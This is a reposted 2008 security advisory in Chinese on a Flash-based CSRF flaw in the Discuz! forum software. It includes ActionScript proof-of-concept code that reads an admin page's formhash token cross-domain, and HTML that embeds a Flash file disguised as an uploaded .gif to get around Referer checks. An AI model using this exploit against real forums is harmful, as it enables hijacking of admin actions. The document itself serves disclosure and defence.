首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
Discuz! flash csrf vul
来源:www.80vul.com 作者:80vul-A 发布时间:2008-11-03  
Discuz! flash csrf vul

author: 80vul-A
team:http://www.80vul.com

Discuz!的安全人员已经意识到csrf方面的漏洞了采用了formhash及判断Referer等来防止外部提交,如果看过<Bypass Preventing CSRF>[1]一文的朋友应该意识到我们可以通过flash来进行csrf攻击.

一 分析

首先我们看Discuz!6开始自带了crossdomain.xml文件,代码如下:

<?xml version="1.0"?>
<cross-domain-policy>
  <allow-access-from domain="*" />
</cross-domain-policy>

允许容易域的访问,对于Discuz!的formhash我们可以通过as来处理得到如下代码:

import RegExp;
var xml:XML = new XML();
xml.onData = function(s) {
    tb1.text =  getFirstMatch(new RegExp("<input type=\"hidden\" name=\"formhash\" value=\"(\\w+)\" />", "ig"), s, 1);
}
System.security.loadPolicyFile("http://192.168.1.102/crossdomain.xml");
xml.load("http://192.168.1.102/d.txt");

熟悉as安全的人知道,flash已经修补了http头定义的漏洞,也就是说我们没有办法利用下面的代码:

.addRequestHeader("Referer: http://foo/index.php?foo","www.80vul.com");

来伪造Referer,但是我们可以通过类似于SODB-2008-01里的利用通过把flash改为gif后缀上传到目标来突破,然后我们通过html远程调用这个gif来突破.

二 利用

POC[测试Discuz!5.5 其他版本的请自己编写]如下:

flash的原文件:http://www.80vul.com/dzvul/sodb/01/sodb-2008-02.fla

as代码如下:

import RegExp;
System.security.loadPolicyFile("http://www.80vul.com/bbs/crossdomain.xml");


var xml:XML = new XML();
xml.onData = function(s) {
    tb1.text =  getFirstMatch(new RegExp("<input type=\"hidden\" name=\"formhash\" value=\"(\\w+)\" />", "ig"), s, 1);
}
System.security.loadPolicyFile("http://www.80vul.com/bbs/crossdomain.xml");
xml.load("http://www.80vul.com/bbs/admincp.php?action=members");

function getFirstMatch(re, s, i) {
	var m = null;
	if ((m = re.exec(s)) != null) {
		return m[i];
	}
}



远程调用的html:

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" width="550" height="400"><param name="allowScriptAccess" value="sameDomain"><param name="movie" value="http://www.80vul.com/bbs/attachments/month_0810/20081030_a293d131d2da23ead5805QYWvs5tkBpi.gif"><param name="quality" value="high"><param name="bgcolor" value="#ffffff"><embed src="http://www.80vul.com/bbs/attachments/month_0810/20081030_a293d131d2da23ead5805QYWvs5tkBpi.gif" quality="high" bgcolor="#ffffff" allowscriptaccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" width="550" height="400"></object>

三 补丁

等待官方补丁.
[删除crossdomain.xml不可以完全修补该漏洞,crossdomain.xml可以为容易文件名loadPolicyFile()调用就行,所以攻击者可以通过上传等上传改名了的crossdomain.xml]


四 参考

[1]:http://superhei.blogbus.com/logs/13463505.html

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·Discuz! admincp.php xss bug
·Discuz!4.x wap\index.php 变量
·世界之窗(The World)浏览器地址
·Discuz! 数据库错误信息xss bug
·Discuz! trade.php 数据库'注射'
·Discuz! moderation.inc.php 数
·PHP168 下载任意文件漏洞
·自由动力(My Power)3.6 sp2的注
·Discuz! modcp/moderate.inc.php
·Discuz! admin\runwizard.inc.ph
·Discuz! [flash] xss bug
·Discuz! member.php xss bug
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved